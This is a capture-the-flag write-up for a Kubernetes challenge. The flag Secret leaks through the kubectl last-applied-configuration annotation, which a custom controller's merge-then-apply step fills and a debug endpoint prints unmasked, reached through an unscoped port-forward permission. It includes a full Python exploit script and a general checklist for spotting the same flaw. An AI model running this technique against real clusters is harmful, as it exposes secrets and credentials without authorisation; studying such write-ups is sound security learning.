$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: Kubernetes-native challenge tracker where a CRD Challenge references a flag Secret and the UI masks secret data. Solution: the controller merges the live Secret object into a submitted manifest before kubectl apply, which stamps the full data.flag into the unmasked last-applied-configuration annotation, leaked via /debug after port-forwarding to the controller pod.
Your challenges are so agile that we tracked our Challenges in Kubernetes! The flag is stored in a Kubernetes Secret, and the app just shows you
***.
English summary: The task hands the player a kubeconfig for a service
account (ctf-player) inside a Kubernetes namespace ctf. The namespace runs a
small "challenge tracker" made of three Flask services — ui, api, and
controller — plus the CRD challenges.fluxfingers.ctf/v1 (kind Challenge).
The real flag lives in a Kubernetes Secret under data.flag; every interface
that exposes secrets replaces the values with ***. Goal: read the flag from
the Secret despite the masking.
ui — server-rendered HTML, talks only to api, no ServiceAccount.api — JSON REST wrapper, talks only to controller, no ServiceAccount.controller — the only component with a Kubernetes ServiceAccount
(challenge-controller) and the only one issuing Kubernetes API calls.Player is expected to reach the UI with:
kubectl port-forward -n ctf svc/ui 8080:80
RBAC for the controller (challenge.yaml):
secrets: get, list, create, patch
challenges: get, list, create, update, patch, delete
Player RBAC (user.yaml):
services: get (resourceNames: ["ui"])
pods: get, list
pods/portforward: create, get
Note the last rule: pods/portforward is not restricted with
resourceNames. The player can port-forward to any pod, not just ui.
common.py / controller.py define MASK = "***". mask_secret() replaces
only the data and stringData mappings with *** and returns a deep copy:
def mask_secret(obj): obj = copy.deepcopy(obj) for field in ("data", "stringData"): if isinstance(obj.get(field), dict): obj[field] = {key: MASK for key in obj[field]} return obj
debug_view() dumps the Secret referenced by a Challenge's spec.flagRef
through mask_secret and returns it from GET /debug?name=<challenge>. The
metadata.annotations field is never touched by the mask.
kubectl applycontroller._apply() (reachable via POST /apply, and via the api's
POST /api/create raw-YAML path):
def _apply(doc): doc.setdefault("metadata", {})["namespace"] = NAMESPACE resource = DYN.resources.get(api_version=doc["apiVersion"], kind=doc["kind"]) name = doc["metadata"]["name"] try: live = resource.get(name=name, namespace=NAMESPACE).to_dict() # <-- LIVE object except NotFoundError: live = None body = merge(live, doc) if live else doc # <-- live merged into our doc meta = body.setdefault("metadata", {}) for field in ("managedFields", "resourceVersion", "uid", "creationTimestamp"): meta.pop(field, None) body.pop("status", None) proc = subprocess.run( ["kubectl", "apply", "-n", NAMESPACE, "-f", "-"], input=yaml.safe_dump(body), capture_output=True, text=True, )
merge(base, overlay) recursively merges overlay into base. When the
submitted document names an existing resource, live is the real live
object — including the true Secret data — and it is passed as base, so the
resulting body contains the original data.flag.
kubectl apply is the client-side apply implementation: it records the
entire applied object into the
kubectl.kubernetes.io/last-applied-configuration annotation. Because body
retains the live Secret data, that annotation ends up containing
"data":{"flag":"<base64>"}.
Putting it together:
Secret document whose metadata.name equals the target
flag Secret's name (no data field needed).kubectl apply.last-applied-configuration
annotation.Challenge with spec.flagRef = that Secret name, then hit
GET /debug?name=<challenge>.debug_view() masks data (data.flag: '***') but emits the annotation
verbatim → base64 flag.The UI (ui.py) only forwards template/values/flagRef/newFlag from its
/create form, so the raw-YAML path and /debug are not exposed through the
UI service. The player's unscoped pods/portforward permission lets us reach
the controller pod directly (port 8080):
kubectl get pods -n ctf # find controller-<hash>-<rand> kubectl port-forward -n ctf pod/<controller-pod> 18080:8080
The api pod (whose /api/create + /api/debug proxies the same controller
calls) is an equally valid target.
curl -s http://localhost:18080/flags | jq -r '.items[].metadata.name'
One Secret holds the real flag; the others are decoys (flag{FAKE}).
For a candidate secret name S, submit a multi-document YAML via
POST /apply ({"yaml": "..."}):
apiVersion: fluxfingers.ctf/v1 kind: Challenge metadata: name: pwn0 spec: id: pwn0 title: leak description: leak flagRef: <S> --- apiVersion: v1 kind: Secret metadata: name: <S>
Two gotchas:
require_challenge() demands a kind: Challenge document, and
normalize_challenge() (plus the CRD schema) requires non-empty string
spec.title and spec.description.y, n, yes, no, on,
off) for title/description. Go's YAML parser on the Kubernetes side
coerces them to booleans and the CRD schema then rejects the object.curl -s "http://localhost:18080/debug?name=pwn0"
The response shows the decoy data.flag: '***' but the
metadata.annotations."kubectl.kubernetes.io/last-applied-configuration"
contains the merged object with "data":{"flag":"<base64>"}. Base64-decode it.
#!/usr/bin/env python3 """ Hack.lu 2026 - "Challenge Deployment" exploit. The controller's `_apply()` fetches the LIVE object for a submitted doc and merges it into the doc (`body = merge(live, doc)`) before `kubectl apply -f -`. Submitting a plain Secret doc named like the flag Secret therefore makes `kubectl apply` store the full merged object -- including data.flag (base64) -- in the kubectl.kubernetes.io/last-applied-configuration annotation, which mask_secret() does NOT mask and /debug dumps verbatim. Usage: kubectl port-forward -n ctf pod/<controller-pod> 18080:8080 python3 exploit.py http://localhost:18080 # controller endpoints python3 exploit.py http://localhost:18081 --api # api pod endpoints """ import sys, json, base64, re, urllib.request, urllib.parse def main(): base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18080" api = "--api" in sys.argv create = "/api/create" if api else "/apply" dbg = "/api/debug" if api else "/debug" flags_path = "/api/flags" if api else "/flags" def post(path, obj): req = urllib.request.Request( base + path, data=json.dumps(obj).encode(), headers={"Content-Type": "application/json"}) try: return urllib.request.urlopen(req, timeout=30).read().decode() except urllib.error.HTTPError as e: return e.read().decode() def get(path): return urllib.request.urlopen(base + path, timeout=30).read().decode() names = [it["metadata"]["name"] for it in json.loads(get(flags_path))["items"]] print("[*] secrets: %d" % len(names)) for i, s in enumerate(names): cid = "pwn%d" % i yaml_doc = ( "apiVersion: fluxfingers.ctf/v1\n" "kind: Challenge\n" "metadata:\n name: %s\n" "spec:\n id: %s\n title: leak\n description: leak\n flagRef: %s\n" "---\n" "apiVersion: v1\nkind: Secret\nmetadata:\n name: %s\n" ) % (cid, cid, s, s) post(create, {"yaml": yaml_doc}) blob = json.loads(get(dbg + "?name=" + cid)).get("debug", "") m = re.search(r'"data":\{"([^"]+)":"([A-Za-z0-9+/=]+)"\}', blob) if m: key, b64 = m.groups() val = base64.b64decode(b64).decode("utf-8", "replace") print(" [%s] %s = %s" % (s, key, val)) else: print(" [%s] no annotation leak (already had one?)" % s) if __name__ == "__main__": main()
Decoding the one Secret that is not the decoy yields flag{REDACTED}.
/debug?name= to read the Secret unmasked — the
Kubernetes Python client percent-encodes the name (/ → %2F); the
apiserver answers 403. Killed.api.resolve_in_cluster_host / fetch_template to hit the
apiserver — the code fetches http://<host>/template.yaml on port 80 while
the kubernetes Service exposes only 443, and no attacker-controlled
in-cluster HTTP host can be created (the controller cannot create
Services/Pods/ConfigMaps). Killed.Pod/ConfigMap/Service to mount the Secret — the controller's
RBAC covers only secrets and challenges; Forbidden. Killed.The merge + client-side-apply annotation leak was the intended chain.
Use this technique when:
kubectl apply (client-side) on a manifest that it
first merges with the live object fetched via the API — the applied
object is stamped into kubectl.kubernetes.io/last-applied-configuration.data / stringData and the
app exposes the object (or its annotations) through a debug endpoint.pods/portforward without resourceNames, letting a
player bypass the public service and reach internal pod ports directly.spec.flagRef pointing at the flag Secret,
giving a "read any secret through the app" primitive once you can point
flagRef at arbitrary secret names.safe_dump output fed to Go's YAML parser: watch for YAML 1.1
boolean-ish scalars (y/n/yes/no/on/off) being coerced to booleans
and failing schema validation — quote such strings.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar